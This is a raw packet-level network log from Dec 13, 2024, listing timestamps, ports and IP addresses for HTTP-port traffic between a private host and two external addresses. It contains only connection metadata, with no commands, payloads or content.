Dec 13, 2024 08:20:02.051804066 CET	80	49923	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:02.051866055 CET	49923	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:02.061976910 CET	49923	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:02.168539047 CET	49925	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:02.181668997 CET	80	49923	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:02.288233995 CET	80	49925	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:02.288301945 CET	49925	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:02.288397074 CET	49925	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:02.408023119 CET	80	49925	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:02.408114910 CET	49925	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:02.527956963 CET	80	49925	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:03.729346037 CET	80	49925	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:03.729598045 CET	80	49925	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:03.729652882 CET	49925	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:03.730840921 CET	49925	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:03.840456963 CET	49930	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:03.850671053 CET	80	49925	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:03.960284948 CET	80	49930	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:03.960536003 CET	49930	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:03.960536003 CET	49930	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:04.080357075 CET	80	49930	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:04.080507994 CET	49930	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:04.200484037 CET	80	49930	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:05.421852112 CET	80	49930	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:05.421916962 CET	80	49930	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:05.421955109 CET	49930	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:05.424268007 CET	49930	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:05.528285027 CET	49936	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:05.543915987 CET	80	49930	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:05.648156881 CET	80	49936	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:05.648233891 CET	49936	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:05.648298025 CET	49936	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:05.768008947 CET	80	49936	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:05.768138885 CET	49936	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:05.827820063 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:05.827897072 CET	49937	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:05.828006029 CET	49939	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:05.887876987 CET	80	49936	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:05.948465109 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:05.948482990 CET	80	49937	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:05.948601007 CET	80	49939	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:05.948600054 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:05.948636055 CET	49937	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:05.948714972 CET	49939	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:05.962958097 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:05.963071108 CET	49937	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:05.963198900 CET	49939	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:06.082775116 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:06.082803965 CET	80	49937	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:06.082854033 CET	80	49939	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.258137941 CET	80	49936	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.258152008 CET	80	49936	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.258337975 CET	49936	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.259476900 CET	49936	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.276977062 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.276989937 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.277003050 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.277034044 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.277070045 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.277079105 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.277091026 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.277121067 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.277142048 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.277170897 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.277209997 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.277211905 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.277226925 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.277237892 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.277251005 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.277261019 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.277261019 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.277291059 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.277309895 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.282926083 CET	80	49937	185.81.68.148	192.168.2.11
Dec 13, 2024 08:20:07.283086061 CET	49937	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:07.300534010 CET	80	49939	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.300584078 CET	49939	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.372013092 CET	49943	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.379349947 CET	80	49936	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.397280931 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.397298098 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.397430897 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.401341915 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.401421070 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.469158888 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.469293118 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.469432116 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.473726988 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.473742962 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.473818064 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.481858015 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.481939077 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.481961012 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.482000113 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.490381002 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.490432024 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.490500927 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.491782904 CET	80	49943	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.493771076 CET	49943	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.493771076 CET	49943	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.498821974 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.498953104 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.499044895 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.507386923 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.507401943 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.507565975 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.515641928 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.515656948 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.515779972 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.524059057 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.524116993 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.524243116 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.532442093 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.532515049 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.532649040 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.540234089 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.540251970 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.540371895 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.547864914 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.547904968 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.548027039 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.589471102 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.589489937 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.589636087 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.613614082 CET	80	49943	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.614911079 CET	49943	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.661186934 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.661325932 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.661484003 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.663660049 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.663717031 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.663742065 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.663788080 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.668472052 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.668518066 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.670234919 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.670284986 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.670325994 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.670371056 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.675167084 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.675261021 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.675331116 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.675419092 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.679959059 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.680016994 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.680061102 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.680109978 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.684701920 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.684801102 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.684844971 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.684982061 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.689378023 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.689448118 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.689493895 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.689733028 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.694035053 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.694088936 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.694164991 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.694210052 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.698654890 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.698791027 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.698856115 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.703291893 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.703423977 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.703502893 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.708003998 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.708154917 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.708246946 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.712658882 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.712754965 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.712785959 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.712821960 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.717284918 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.717413902 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.717477083 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.721965075 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.722098112 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.722176075 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.725826979 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.725944042 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.726011992 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.729783058 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.729800940 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.729871988 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.733463049 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.733582973 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.733661890 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.734657049 CET	80	49943	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.737266064 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.738379002 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.853650093 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.853790998 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.853910923 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.855041981 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.855070114 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.855113983 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.855149031 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.858057022 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.858175993 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.858237982 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.861047983 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.861068010 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.861119986 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.863821983 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.863935947 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.863996029 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.866833925 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.866929054 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.866985083 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.869596958 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.869674921 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.869710922 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.869760036 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.872550964 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.872730017 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.872790098 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.875384092 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.875498056 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.875564098 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.878273010 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.878353119 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.878356934 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.878431082 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.881175995 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.881268024 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.881349087 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.884037971 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.884154081 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.884161949 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.884226084 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.886933088 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.886957884 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.887025118 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.889802933 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.889986038 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.890065908 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.892697096 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.892788887 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.892795086 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.895279884 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.895610094 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.895668983 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.895726919 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.895771027 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.898478031 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.898544073 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.898581982 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.898626089 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.901406050 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.901488066 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.901618958 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.901618958 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.907027006 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.907042980 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.907130957 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.909246922 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.909308910 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.909378052 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.909509897 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.912112951 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.912189960 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.912291050 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.912421942 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.915045977 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.915059090 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.915118933 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.915160894 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.915813923 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.915930033 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.915982008 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.918692112 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.918819904 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.918900967 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.921583891 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.921686888 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.921753883 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.924633026 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.925772905 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.925846100 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.929344893 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.929508924 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.929577112 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.932126999 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.932301998 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.932377100 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.933490992 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.933504105 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.933543921 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.933581114 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.935986042 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.936053038 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.936110020 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.938915968 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.939052105 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.939080000 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.939110994 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.941956043 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.942014933 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:07.942037106 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:07.942084074 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.045506954 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.045593023 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.045600891 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.045687914 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.046739101 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.046794891 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.046853065 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.046911955 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.049351931 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.049402952 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.049518108 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.049571991 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.051902056 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.051951885 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.052022934 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.052062988 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.054367065 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.054435968 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.054485083 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.054527044 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.056965113 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.057013035 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.057044029 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.057082891 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.059387922 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.059444904 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.059463978 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.059483051 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.061773062 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.061827898 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.061847925 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.061882973 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.064071894 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.064136028 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.064177036 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.064220905 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.066373110 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.066423893 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.066457033 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.066622019 CET	49938	80	192.168.2.11	185.81.68.147
